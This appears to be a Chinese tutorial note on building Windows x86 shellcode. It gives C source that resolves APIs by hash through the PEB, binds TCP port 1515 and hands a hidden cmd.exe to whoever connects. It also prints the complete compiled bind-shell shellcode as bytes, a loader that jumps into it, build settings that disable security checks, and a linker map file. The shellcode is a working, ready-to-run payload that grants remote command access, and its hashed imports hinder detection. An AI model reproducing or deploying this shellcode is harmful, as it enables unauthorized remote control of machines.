首先修改配置 然后改函数生成顺序(这里要先生成一遍才能看到) 先生成映射文件 再用一个记事本修改顺序再生成一遍 重新生成 运行成功 获取shellcode 先找到布局 一直到main函数 测试(关掉dep)
#include"stdafx.h"
#include <winsock2.h>
#include <windows.h>
// C/C++
// |-常规
// | |-调试信息格式:程序数据库(/Zi)
// | *-SDL检查:否(/sdl-)
// |-优化
// | |-优化:使大小最优化(/O1)
// | |-内联函数扩展:已禁用(/Ob0)
// | |-启用内部函数:否
// | |-优选大小或者速度:代码大小优先(/Os)
// | *-全程序优化:是(/GL)
// *-代码生成
// |-基本运行时检查:默认值
// |-安全检查:禁用安全检查(/GS-)
// *-启用函数级连接:是(/Gy)
//
// 链接器
// |-常规
// | *-启用增量连接:否(/INCREMENTAL:NO)
// |-调试
// | |-生成映射文件:是(/MAP)
// | *-映射文件名:mpafile
// *-优化
// |-引用:是(/OPT:REF)
// |-启用COMDAT折叠:是(/OPT:ICF)
// *-函数顺序:FunctionOrder.txt
// [注:FunctionOrder.txt控制编译器按照指定顺序将特定的COMDAT放到映像文件中]
#define HASH_LoadLibraryExA 0xC0D83287
#define HASH_ExitProcess 0x4FD18963
#define HASH_WSAStartup 0x80B46A3D
#define HASH_WSASocketA 0xDE78322D
#define HASH_htons 0xDDBFA6F3
#define HASH_bind 0xDDA71064
#define HASH_listen 0x4BD39F0C
#define HASH_accept 0x01971EB1
#define HASH_CreateProcessA 0x6BA6BCC9
int GetFunAddrByHash(int nHashDigest);
#define DefineFuncPtr(name,base) decltype(name) *My_##name = (decltype(name)*)GetFunAddrByHash(HASH_##name,base)
void MemZero(PBYTE lpBuff, int nSize)
{
__asm {
mov edi, lpBuff
xor eax, eax
mov ecx, nSize
cld
rep stosb
}
}
bool Hash_CmpString(char *strFunName, int nHash)
{
unsigned int nDigest = 0;
while (*strFunName)
{
nDigest = ((nDigest << 25) | (nDigest >> 7));
nDigest = nDigest + *strFunName;
strFunName++;
}
return nHash == nDigest ? true : false;
}
int GetFunAddrByHash(int nHashDigest, HMODULE hModule)
{
// 1. 获取DOS头、NT头
PIMAGE_DOS_HEADER pDos_Header;
PIMAGE_NT_HEADERS pNt_Header;
pDos_Header = (PIMAGE_DOS_HEADER)hModule;
pNt_Header = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);
// 2. 获取导出表项
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_EXPORT_DIRECTORY pExport;
pDataDir = pNt_Header->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModule + pDataDir->VirtualAddress);
// 3. 获取导出表详细信息
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + (DWORD)hModule);
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + (DWORD)hModule);
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + (DWORD)hModule);
// 4. 处理以函数名查找函数地址的请求,循环获取ENT中的函数名(因为是以函数名
// 为基准,因此不考虑无函数名的情况),并与传入值对比,如能匹配上则在EAT
// 中以指定序号作为索引,并取出其地址值。
DWORD dwFunAddr;
for (DWORD i = 0; i<pExport->NumberOfNames; i++)
{
PCHAR lpFunName = (PCHAR)(pAddrOfNames[i] + (DWORD)hModule);
if (Hash_CmpString(lpFunName, nHashDigest))
{
dwFunAddr = pAddrOfFun[pAddrOfOrdinals[i]] + (DWORD)hModule;
break;
}
if (i == pExport->NumberOfNames - 1)
return 0;
}
return dwFunAddr;
}
void EntryPoint()
{
// 1. 局部字符串
CHAR szKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
CHAR szWs2_32[] = { 'w','s','2','_','3','2','.','d','l','l','\0' };
CHAR szCMD[] = { 'c','m','d','.','e','x','e','\0' };
// 2. 获取关键模块基址
HMODULE hKeyModule = 0;
__asm
{
push esi
mov esi, dword ptr fs : [0x30] // esi = PEB的地址
mov esi, [esi + 0x0C] // esi = 指向PEB_LDR_DATA结构的指针
mov esi, [esi + 0x1C] // esi = 模块链表指针InInit...List
mov esi, [esi] // esi = 访问链表中的第二个条目
mov esi, [esi + 0x08] // esi = 获取Kernel32.dll基址(注1)
mov hKeyModule, esi
pop esi
}// 注1:Win7下获取的是KernelBase.dll的基址
// 3. 获取关键模块基址
DefineFuncPtr(LoadLibraryExA, hKeyModule);
HMODULE hKernel32 = My_LoadLibraryExA(szKernel32, 0, 0);
HMODULE hWs2_32 = My_LoadLibraryExA(szWs2_32, 0, 0);
// 4. 初始化Winsock服务
WSADATA stWSA;
DefineFuncPtr(WSAStartup, hWs2_32);
My_WSAStartup(0x0202, &stWSA);
// 5. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;;
DefineFuncPtr(WSASocketA, hWs2_32);
stListen = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 6. 在任意地址(INADDR_ANY)上绑定一个端口1515
DefineFuncPtr(htons, hWs2_32);
SOCKADDR_IN stService;
stService.sin_addr.s_addr = INADDR_ANY;
stService.sin_port = My_htons(1515);
stService.sin_family = AF_INET;
DefineFuncPtr(bind, hWs2_32);
My_bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
// 7. 监听连接(等待连接)
DefineFuncPtr(listen, hWs2_32);
My_listen(stListen, SOMAXCONN);
// 8. 接受一个连接
DefineFuncPtr(accept, hWs2_32);
stListen = My_accept(stListen, 0, 0);
// 9. 创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字上
PROCESS_INFORMATION stPI;
STARTUPINFOA stSI;
MemZero((PBYTE)&stSI, sizeof(stSI));
stSI.cb = sizeof(stSI);
stSI.wShowWindow = SW_HIDE;
stSI.dwFlags = STARTF_USESTDHANDLES;
stSI.hStdInput = (HANDLE)stListen;
stSI.hStdOutput = (HANDLE)stListen;
stSI.hStdError = (HANDLE)stListen;
DefineFuncPtr(CreateProcessA, hKernel32);
My_CreateProcessA(0, szCMD, 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);
// A. 关闭相关句柄并释放相关资源
//closesocket(stListen);
//WSACleanup();
DefineFuncPtr(ExitProcess, hKernel32);
My_ExitProcess(0);
}
int _tmain(int argc, TCHAR* argv[])
{
char bShellcode[] = { "\x55\x8B\xEC\x81\xEC\x1C\x02\x00\x00\x53\x33\xDB\xC7\x45\xDC\x6B\x65\x72\x6E\x56\x57\xC7\x45\xE0\x65\x6C\x33\x32\xC7\x45\xE4\x2E\x64\x6C\x6C\x88\x5D\xE8\xC7\x45\xEC\x77\x73\x32\x5F\xC7\x45\xF0\x33\x32\x2E\x64\x66\xC7\x45\xF4\x6C\x6C\x88\x5D\xF6\xC7\x45\xF8\x63\x6D\x64\x2E\xC7\x45\xFC\x65\x78\x65\x00\x89\x5D\xD8\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x89\x75\xD8\x5E\xFF\x75\xD8\x68\x87\x32\xD8\xC0\xE8\x1E\x01\x00\x00\x59\x59\x53\x8B\xF0\x8D\x45\xDC\x53\x50\xFF\xD6\x6A\x00\x8B\xD8\x8D\x45\xEC\x6A\x00\x50\xFF\xD6\x8B\xF8\x8D\x85\xE4\xFD\xFF\xFF\x50\x68\x02\x02\x00\x00\x57\x68\x3D\x6A\xB4\x80\xE8\xED\x00\x00\x00\x59\x59\xFF\xD0\x57\x68\x2D\x32\x78\xDE\xE8\xDE\x00\x00\x00\x59\x59\x33\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\x59\x51\xFF\xD0\x57\x68\xF3\xA6\xBF\xDD\x8B\xF0\xE8\xC0\x00\x00\x00\x83\x65\xCC\x00\x59\x59\x68\xEB\x05\x00\x00\xFF\xD0\x6A\x02\x66\x89\x45\xCA\x58\x6A\x10\x66\x89\x45\xC8\x8D\x45\xC8\x50\x56\x57\x68\x64\x10\xA7\xDD\xE8\x96\x00\x00\x00\x59\x59\xFF\xD0\x68\xFF\xFF\xFF\x7F\x56\x57\x68\x0C\x9F\xD3\x4B\xE8\x81\x00\x00\x00\x59\x59\xFF\xD0\x57\x68\xB1\x1E\x97\x01\xE8\x72\x00\x00\x00\x59\x59\x6A\x00\x6A\x00\x56\xFF\xD0\x6A\x44\x5F\x8B\xF0\x8D\x45\x84\x57\x50\xE8\xF2\x00\x00\x00\x59\x59\x33\xC0\x89\x75\xBC\x66\x89\x45\xB4\x8D\x85\x74\xFF\xFF\xFF\x50\x8D\x45\x84\x89\x75\xC0\x50\x89\x75\xC4\x8D\x45\xF8\x33\xF6\x89\x7D\x84\x56\x56\x56\x6A\x01\x56\x56\x50\x56\x53\x68\xC9\xBC\xA6\x6B\xC7\x45\xB0\x00\x01\x00\x00\xE8\x1B\x00\x00\x00\x59\x59\xFF\xD0\x56\x53\x68\x63\x89\xD1\x4F\xE8\x0B\x00\x00\x00\x59\x59\xFF\xD0\x5F\x5E\x5B\x8B\xE5\x5D\xC3\x55\x8B\xEC\x51\x51\x53\x56\x57\x8B\x7D\x0C\x33\xF6\x8B\x47\x3C\x8B\x44\x38\x78\x03\xC7\x8B\x48\x1C\x8B\x50\x20\x03\xCF\x8B\x58\x18\x03\xD7\x89\x4D\xF8\x8B\x48\x24\x03\xCF\x89\x55\x0C\x89\x4D\xFC\x85\xDB\x74\x23\x8B\x04\xB2\xFF\x75\x08\x03\xC7\x50\xE8\x34\x00\x00\x00\x59\x59\x84\xC0\x75\x1D\x8D\x43\xFF\x3B\xF0\x74\x12\x8B\x55\x0C\x46\x3B\xF3\x72\xDD\x8B\x45\x0C\x5F\x5E\x5B\x8B\xE5\x5D\xC3\x33\xC0\xEB\xF5\x8B\x45\xFC\x8B\x4D\xF8\x0F\xB7\x04\x70\x8B\x04\x81\x03\xC7\xEB\xE4\x55\x8B\xEC\x8B\x55\x08\x33\xC9\xEB\x09\xC1\xC9\x07\x0F\xBE\xC0\x03\xC8\x42\x8A\x02\x84\xC0\x75\xF1\x39\x4D\x0C\x0F\x94\xC0\x5D\xC3\x55\x8B\xEC\x57\x8B\x7D\x08\x33\xC0\x8B\x4D\x0C\xFC\xF3\xAA\x5F\x5D\xC3" };
__asm {
lea eax, bShellcode;
push eax;
ret
}
//EntryPoint();
return 0;
}
{
0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x1C, 0x02, 0x00, 0x00, 0x53, 0x33, 0xDB, 0xC7, 0x45, 0xDC, 0x6B,
0x65, 0x72, 0x6E, 0x56, 0x57, 0xC7, 0x45, 0xE0, 0x65, 0x6C, 0x33, 0x32, 0xC7, 0x45, 0xE4, 0x2E,
0x64, 0x6C, 0x6C, 0x88, 0x5D, 0xE8, 0xC7, 0x45, 0xEC, 0x77, 0x73, 0x32, 0x5F, 0xC7, 0x45, 0xF0,
0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8,
0x63, 0x6D, 0x64, 0x2E, 0xC7, 0x45, 0xFC, 0x65, 0x78, 0x65, 0x00, 0x89, 0x5D, 0xD8, 0x56, 0x64,
0x8B, 0x35, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x76,
0x08, 0x89, 0x75, 0xD8, 0x5E, 0xFF, 0x75, 0xD8, 0x68, 0x87, 0x32, 0xD8, 0xC0, 0xE8, 0x1E, 0x01,
0x00, 0x00, 0x59, 0x59, 0x53, 0x8B, 0xF0, 0x8D, 0x45, 0xDC, 0x53, 0x50, 0xFF, 0xD6, 0x6A, 0x00,
0x8B, 0xD8, 0x8D, 0x45, 0xEC, 0x6A, 0x00, 0x50, 0xFF, 0xD6, 0x8B, 0xF8, 0x8D, 0x85, 0xE4, 0xFD,
0xFF, 0xFF, 0x50, 0x68, 0x02, 0x02, 0x00, 0x00, 0x57, 0x68, 0x3D, 0x6A, 0xB4, 0x80, 0xE8, 0xED,
0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x57, 0x68, 0x2D, 0x32, 0x78, 0xDE, 0xE8, 0xDE, 0x00,
0x00, 0x00, 0x59, 0x59, 0x33, 0xC9, 0x51, 0x51, 0x51, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0x59,
0x51, 0xFF, 0xD0, 0x57, 0x68, 0xF3, 0xA6, 0xBF, 0xDD, 0x8B, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00,
0x83, 0x65, 0xCC, 0x00, 0x59, 0x59, 0x68, 0xEB, 0x05, 0x00, 0x00, 0xFF, 0xD0, 0x6A, 0x02, 0x66,
0x89, 0x45, 0xCA, 0x58, 0x6A, 0x10, 0x66, 0x89, 0x45, 0xC8, 0x8D, 0x45, 0xC8, 0x50, 0x56, 0x57,
0x68, 0x64, 0x10, 0xA7, 0xDD, 0xE8, 0x96, 0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x68, 0xFF,
0xFF, 0xFF, 0x7F, 0x56, 0x57, 0x68, 0x0C, 0x9F, 0xD3, 0x4B, 0xE8, 0x81, 0x00, 0x00, 0x00, 0x59,
0x59, 0xFF, 0xD0, 0x57, 0x68, 0xB1, 0x1E, 0x97, 0x01, 0xE8, 0x72, 0x00, 0x00, 0x00, 0x59, 0x59,
0x6A, 0x00, 0x6A, 0x00, 0x56, 0xFF, 0xD0, 0x6A, 0x44, 0x5F, 0x8B, 0xF0, 0x8D, 0x45, 0x84, 0x57,
0x50, 0xE8, 0xF2, 0x00, 0x00, 0x00, 0x59, 0x59, 0x33, 0xC0, 0x89, 0x75, 0xBC, 0x66, 0x89, 0x45,
0xB4, 0x8D, 0x85, 0x74, 0xFF, 0xFF, 0xFF, 0x50, 0x8D, 0x45, 0x84, 0x89, 0x75, 0xC0, 0x50, 0x89,
0x75, 0xC4, 0x8D, 0x45, 0xF8, 0x33, 0xF6, 0x89, 0x7D, 0x84, 0x56, 0x56, 0x56, 0x6A, 0x01, 0x56,
0x56, 0x50, 0x56, 0x53, 0x68, 0xC9, 0xBC, 0xA6, 0x6B, 0xC7, 0x45, 0xB0, 0x00, 0x01, 0x00, 0x00,
0xE8, 0x1B, 0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x56, 0x53, 0x68, 0x63, 0x89, 0xD1, 0x4F,
0xE8, 0x0B, 0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3,
0x55, 0x8B, 0xEC, 0x51, 0x51, 0x53, 0x56, 0x57, 0x8B, 0x7D, 0x0C, 0x33, 0xF6, 0x8B, 0x47, 0x3C,
0x8B, 0x44, 0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x20, 0x03, 0xCF, 0x8B, 0x58,
0x18, 0x03, 0xD7, 0x89, 0x4D, 0xF8, 0x8B, 0x48, 0x24, 0x03, 0xCF, 0x89, 0x55, 0x0C, 0x89, 0x4D,
0xFC, 0x85, 0xDB, 0x74, 0x23, 0x8B, 0x04, 0xB2, 0xFF, 0x75, 0x08, 0x03, 0xC7, 0x50, 0xE8, 0x34,
0x00, 0x00, 0x00, 0x59, 0x59, 0x84, 0xC0, 0x75, 0x1D, 0x8D, 0x43, 0xFF, 0x3B, 0xF0, 0x74, 0x12,
0x8B, 0x55, 0x0C, 0x46, 0x3B, 0xF3, 0x72, 0xDD, 0x8B, 0x45, 0x0C, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5,
0x5D, 0xC3, 0x33, 0xC0, 0xEB, 0xF5, 0x8B, 0x45, 0xFC, 0x8B, 0x4D, 0xF8, 0x0F, 0xB7, 0x04, 0x70,
0x8B, 0x04, 0x81, 0x03, 0xC7, 0xEB, 0xE4, 0x55, 0x8B, 0xEC, 0x8B, 0x55, 0x08, 0x33, 0xC9, 0xEB,
0x09, 0xC1, 0xC9, 0x07, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42, 0x8A, 0x02, 0x84, 0xC0, 0x75, 0xF1,
0x39, 0x4D, 0x0C, 0x0F, 0x94, 0xC0, 0x5D, 0xC3, 0x55, 0x8B, 0xEC, 0x57, 0x8B, 0x7D, 0x08, 0x33,
0xC0, 0x8B, 0x4D, 0x0C, 0xFC, 0xF3, 0xAA, 0x5F, 0x5D, 0xC3
};
ConsoleApplication3
Timestamp is 5b177c59 (Wed Jun 6 14:16:57 2018)
Preferred load address is 00400000
Start Length Name Class
0001:00000000 00001316H .text$mn CODE
0002:00000000 000000a4H .idata$5 DATA
0002:000000a4 00000004H .00cfg DATA
0002:000000a8 00000004H .CRT$XCA DATA
0002:000000ac 00000004H .CRT$XCAA DATA
0002:000000b0 00000004H .CRT$XCZ DATA
0002:000000b4 00000004H .CRT$XIA DATA
0002:000000b8 00000004H .CRT$XIAA DATA
0002:000000bc 00000004H .CRT$XIAC DATA
0002:000000c0 00000004H .CRT$XIZ DATA
0002:000000c4 00000004H .CRT$XPA DATA
0002:000000c8 00000004H .CRT$XPZ DATA
0002:000000cc 00000004H .CRT$XTA DATA
0002:000000d0 00000010H .CRT$XTZ DATA
0002:000000e0 00000310H .rdata DATA
0002:000003f0 00000004H .rdata$sxdata DATA
0002:000003f4 000002e8H .rdata$zzzdbg DATA
0002:000006dc 00000004H .rtc$IAA DATA
0002:000006e0 00000004H .rtc$IZZ DATA
0002:000006e4 00000004H .rtc$TAA DATA
0002:000006e8 00000008H .rtc$TZZ DATA
0002:000006f0 0000003cH .xdata$x DATA
0002:0000072c 00000000H .edata DATA
0002:0000072c 0000003cH .idata$2 DATA
0002:00000768 00000014H .idata$3 DATA
0002:0000077c 000000a4H .idata$4 DATA
0002:00000820 0000032aH .idata$6 DATA
0003:00000000 00000018H .data DATA
0003:00000018 00000374H .bss DATA
0004:00000000 00000020H .gfids$y DATA
0005:00000000 00000060H .rsrc$01 DATA
0005:00000060 00000180H .rsrc$02 DATA
Address Publics by Value Rva+Base Lib:Object
0000:00000000 ___guard_longjmp_table 00000000 <absolute>
0000:00000000 ___guard_iat_count 00000000 <absolute>
0000:00000000 ___guard_fids_table 00000000 <absolute>
0000:00000000 ___dynamic_value_reloc_table 00000000 <absolute>
0000:00000000 ___guard_fids_count 00000000 <absolute>
0000:00000000 ___guard_longjmp_count 00000000 <absolute>
0000:00000000 ___guard_iat_table 00000000 <absolute>
0000:00000001 ___safe_se_handler_count 00000001 <absolute>
0000:00000100 ___guard_flags 00000100 <absolute>
0000:00000000 ___ImageBase 00400000 <linker-defined>
0001:00000000 _wmain 00401000 f ConsoleApplication3.obj
0001:00000340 ?configure_argv@__scrt_wide_argv_policy@@SAHXZ 00401340 f i MSVCRTD:exe_wmain.obj
0001:000003a0 _wmainCRTStartup 004013a0 f MSVCRTD:exe_wmain.obj
0001:000003b0 ??$__crt_fast_decode_pointer@PAP6AXXZ@@YAPAP6AXXZQAP6AXXZ@Z 004013b0 f i MSVCRTD:utility.obj
0001:000003e0 ??$__crt_fast_encode_pointer@PAP6AXXZ@@YAPAP6AXXZQAP6AXXZ@Z 004013e0 f i MSVCRTD:utility.obj
0001:00000410 ?__crt_rotate_pointer_value@@YAIIH@Z 00401410 f i MSVCRTD:utility.obj
0001:00000520 _NtCurrentTeb 00401520 f i MSVCRTD:utility.obj
0001:00000530 ___scrt_acquire_startup_lock 00401530 f MSVCRTD:utility.obj
0001:00000580 ___scrt_initialize_crt 00401580 f MSVCRTD:utility.obj
0001:000005d0 ___scrt_initialize_onexit_tables 004015d0 f MSVCRTD:utility.obj
0001:000006a0 ___scrt_is_nonwritable_in_current_image 004016a0 f MSVCRTD:utility.obj
0001:000007d0 ___scrt_release_startup_lock 004017d0 f MSVCRTD:utility.obj
0001:00000800 ___scrt_uninitialize_crt 00401800 f MSVCRTD:utility.obj
0001:00000840 __onexit 00401840 f MSVCRTD:utility.obj
0001:000008b0 _atexit 004018b0 f MSVCRTD:utility.obj
0001:000008e0 ___security_init_cookie 004018e0 f MSVCRTD:gs_support.obj
0001:000009c0 __get_startup_thread_locale_mode 004019c0 f MSVCRTD:thread_locale.obj
0001:000009c0 __matherr 004019c0 f MSVCRTD:matherr.obj
0001:000009c0 __get_startup_new_mode 004019c0 f MSVCRTD:new_mode.obj
0001:000009c0 ___scrt_initialize_winrt 004019c0 f MSVCRTD:utility_desktop.obj
0001:000009c0 __get_startup_commit_mode 004019c0 f MSVCRTD:commit_mode.obj
0001:000009d0 __get_startup_argv_mode 004019d0 f MSVCRTD:argv_mode.obj
0001:000009d0 ?get_app_type@__scrt_main_policy@@SA?AW4_crt_app_type@@XZ 004019d0 f MSVCRTD:exe_wmain.obj
0001:000009e0 __get_startup_file_mode 004019e0 f MSVCRTD:file_mode.obj
0001:000009f0 ?__scrt_initialize_type_info@@YAXXZ 004019f0 f MSVCRTD:tncleanup.obj
0001:00000a00 ___acrt_uninitialize 00401a00 f MSVCRTD:ucrt_stubs.obj
0001:00000a00 ___vcrt_uninitialize 00401a00 f MSVCRTD:ucrt_stubs.obj
0001:00000a00 ___scrt_stub_for_acrt_uninitialize 00401a00 f MSVCRTD:ucrt_stubs.obj
0001:00000a00 __should_initialize_environment 00401a00 f MSVCRTD:env_mode.obj
0001:00000a00 ___vcrt_initialize 00401a00 f MSVCRTD:ucrt_stubs.obj
0001:00000a00 ___scrt_stub_for_acrt_initialize 00401a00 f MSVCRTD:ucrt_stubs.obj
0001:00000a00 ___acrt_initialize 00401a00 f MSVCRTD:ucrt_stubs.obj
0001:00000a10 __initialize_default_precision 00401a10 f MSVCRTD:default_precision.obj
0001:00000a40 __initialize_invalid_parameter_handler 00401a40 f MSVCRTD:invalid_parameter_handler.obj
0001:00000a40 __initialize_denormal_control 00401a40 f MSVCRTD:denormal_control.obj
0001:00000a50 ___local_stdio_printf_options 00401a50 f i MSVCRTD:default_local_stdio_options.obj
0001:00000a60 ___local_stdio_scanf_options 00401a60 f i MSVCRTD:default_local_stdio_options.obj
0001:00000a70 ___scrt_initialize_default_local_stdio_options 00401a70 f MSVCRTD:default_local_stdio_options.obj
0001:00000ab0 ___scrt_is_user_matherr_present 00401ab0 f MSVCRTD:matherr_detection.obj
0001:00000ae0 ___scrt_get_dyn_tls_init_callback 00401ae0 f MSVCRTD:dyn_tls_init.obj
0001:00000af0 ___scrt_get_dyn_tls_dtor_callback 00401af0 f MSVCRTD:dyn_tls_dtor.obj
0001:00000b00 ___scrt_fastfail 00401b00 f MSVCRTD:utility_desktop.obj
0001:00000c40 ___scrt_is_managed_app 00401c40 f MSVCRTD:utility_desktop.obj
0001:00000cd0 ___scrt_set_unhandled_exception_filter 00401cd0 f MSVCRTD:utility_desktop.obj
0001:00000ce0 ___scrt_unhandled_exception_filter@4 00401ce0 f MSVCRTD:utility_desktop.obj
0001:00000d40 __crt_debugger_hook 00401d40 f MSVCRTD:utility_desktop.obj
0001:00000d50 __RTC_Initialize 00401d50 f MSVCRTD:_initsect_.obj
0001:00000d80 __RTC_Terminate 00401d80 f MSVCRTD:_initsect_.obj
0001:00000db0 @_guard_check_icall@4 00401db0 f i MSVCRTD:checkcfg.obj
0001:00000dd0 __except_handler4 00401dd0 f MSVCRTD:_chandler4gs_.obj
0001:00000e00 ___isa_available_init 00401e00 f MSVCRTD:_cpu_disp_.obj
0001:000010e0 ___scrt_is_ucrt_dll_in_use 004020e0 f MSVCRTD:ucrt_detection.obj
0001:00001110 @_guard_check_icall_nop@4 00402110 f i MSVCRTD:guard_support.obj
0001:00001120 @__security_check_cookie@4 00402120 f MSVCRTD:_secchk_.obj
0001:00001140 ___raise_securityfailure 00402140 f MSVCRTD:gs_report.obj
0001:00001170 ___report_gsfailure 00402170 f MSVCRTD:gs_report.obj
0001:00001274 _memset 00402274 f vcruntimed:VCRUNTIME140D.dll
0001:0000127a __except_handler4_common 0040227a f vcruntimed:VCRUNTIME140D.dll
0001:00001280 __seh_filter_exe 00402280 f ucrtd:ucrtbased.dll
0001:00001286 __set_app_type 00402286 f ucrtd:ucrtbased.dll
0001:0000128c ___setusermatherr 0040228c f ucrtd:ucrtbased.dll
0001:00001292 __configure_wide_argv 00402292 f ucrtd:ucrtbased.dll
0001:00001298 __initialize_wide_environment 00402298 f ucrtd:ucrtbased.dll
0001:0000129e __get_initial_wide_environment 0040229e f ucrtd:ucrtbased.dll
0001:000012a4 __initterm 004022a4 f ucrtd:ucrtbased.dll
0001:000012aa __initterm_e 004022aa f ucrtd:ucrtbased.dll
0001:000012b0 _exit 004022b0 f ucrtd:ucrtbased.dll
0001:000012b6 __exit 004022b6 f ucrtd:ucrtbased.dll
0001:000012bc __set_fmode 004022bc f ucrtd:ucrtbased.dll
0001:000012c2 ___p___argc 004022c2 f ucrtd:ucrtbased.dll
0001:000012c8 ___p___wargv 004022c8 f ucrtd:ucrtbased.dll
0001:000012ce __cexit 004022ce f ucrtd:ucrtbased.dll
0001:000012d4 __c_exit 004022d4 f ucrtd:ucrtbased.dll
0001:000012da __register_thread_local_exe_atexit_callback 004022da f ucrtd:ucrtbased.dll
0001:000012e0 __configthreadlocale 004022e0 f ucrtd:ucrtbased.dll
0001:000012e6 __set_new_mode 004022e6 f ucrtd:ucrtbased.dll
0001:000012ec ___p__commode 004022ec f ucrtd:ucrtbased.dll
0001:000012f2 __initialize_onexit_table 004022f2 f ucrtd:ucrtbased.dll
0001:000012f8 __register_onexit_function 004022f8 f ucrtd:ucrtbased.dll
0001:000012fe __crt_atexit 004022fe f ucrtd:ucrtbased.dll
0001:00001304 __controlfp_s 00402304 f ucrtd:ucrtbased.dll
0001:0000130a _terminate 0040230a f ucrtd:ucrtbased.dll
0001:00001310 _IsProcessorFeaturePresent@4 00402310 f kernel32:KERNEL32.dll
0002:00000000 __imp__GetCurrentProcessId@0 00403000 kernel32:KERNEL32.dll
0002:00000004 __imp__GetCurrentThreadId@0 00403004 kernel32:KERNEL32.dll
0002:00000008 __imp__GetSystemTimeAsFileTime@4 00403008 kernel32:KERNEL32.dll
0002:0000000c __imp__TerminateProcess@8 0040300c kernel32:KERNEL32.dll
0002:00000010 __imp__GetCurrentProcess@0 00403010 kernel32:KERNEL32.dll
0002:00000014 __imp__GetModuleHandleW@4 00403014 kernel32:KERNEL32.dll
0002:00000018 __imp__IsProcessorFeaturePresent@4 00403018 kernel32:KERNEL32.dll
0002:0000001c __imp__SetUnhandledExceptionFilter@4 0040301c kernel32:KERNEL32.dll
0002:00000020 __imp__UnhandledExceptionFilter@4 00403020 kernel32:KERNEL32.dll
0002:00000024 __imp__IsDebuggerPresent@0 00403024 kernel32:KERNEL32.dll
0002:00000028 __imp__InitializeSListHead@4 00403028 kernel32:KERNEL32.dll
0002:0000002c __imp__QueryPerformanceCounter@4 0040302c kernel32:KERNEL32.dll
0002:00000030 \177KERNEL32_NULL_THUNK_DATA 00403030 kernel32:KERNEL32.dll
0002:00000034 __imp__memset 00403034 vcruntimed:VCRUNTIME140D.dll
0002:00000038 __imp___except_handler4_common 00403038 vcruntimed:VCRUNTIME140D.dll
0002:0000003c \177VCRUNTIME140D_NULL_THUNK_DATA 0040303c vcruntimed:VCRUNTIME140D.dll
0002:00000040 __imp___c_exit 00403040 ucrtd:ucrtbased.dll
0002:00000044 __imp___register_thread_local_exe_atexit_callback 00403044 ucrtd:ucrtbased.dll
0002:00000048 __imp___configthreadlocale 00403048 ucrtd:ucrtbased.dll
0002:0000004c __imp___set_new_mode 0040304c ucrtd:ucrtbased.dll
0002:00000050 __imp____p__commode 00403050 ucrtd:ucrtbased.dll
0002:00000054 __imp___cexit 00403054 ucrtd:ucrtbased.dll
0002:00000058 __imp___initialize_onexit_table 00403058 ucrtd:ucrtbased.dll
0002:0000005c __imp___register_onexit_function 0040305c ucrtd:ucrtbased.dll
0002:00000060 __imp___crt_atexit 00403060 ucrtd:ucrtbased.dll
0002:00000064 __imp___controlfp_s 00403064 ucrtd:ucrtbased.dll
0002:00000068 __imp__terminate 00403068 ucrtd:ucrtbased.dll
0002:0000006c __imp____p___wargv 0040306c ucrtd:ucrtbased.dll
0002:00000070 __imp____p___argc 00403070 ucrtd:ucrtbased.dll
0002:00000074 __imp___set_fmode 00403074 ucrtd:ucrtbased.dll
0002:00000078 __imp___exit 00403078 ucrtd:ucrtbased.dll
0002:0000007c __imp__exit 0040307c ucrtd:ucrtbased.dll
0002:00000080 __imp___initterm_e 00403080 ucrtd:ucrtbased.dll
0002:00000084 __imp___initterm 00403084 ucrtd:ucrtbased.dll
0002:00000088 __imp___get_initial_wide_environment 00403088 ucrtd:ucrtbased.dll
0002:0000008c __imp___initialize_wide_environment 0040308c ucrtd:ucrtbased.dll
0002:00000090 __imp___configure_wide_argv 00403090 ucrtd:ucrtbased.dll
0002:00000094 __imp____setusermatherr 00403094 ucrtd:ucrtbased.dll
0002:00000098 __imp___set_app_type 00403098 ucrtd:ucrtbased.dll
0002:0000009c __imp___seh_filter_exe 0040309c ucrtd:ucrtbased.dll
0002:000000a0 \177ucrtbased_NULL_THUNK_DATA 004030a0 ucrtd:ucrtbased.dll
0002:000000a4 ___guard_check_icall_fptr 004030a4 MSVCRTD:guard_support.obj
0002:000000a8 ___xc_a 004030a8 MSVCRTD:initializers.obj
0002:000000b0 ___xc_z 004030b0 MSVCRTD:initializers.obj
0002:000000b4 ___xi_a 004030b4 MSVCRTD:initializers.obj
0002:000000c0 ___xi_z 004030c0 MSVCRTD:initializers.obj
0002:000000c4 ___xp_a 004030c4 MSVCRTD:initializers.obj
0002:000000c8 ___xp_z 004030c8 MSVCRTD:initializers.obj
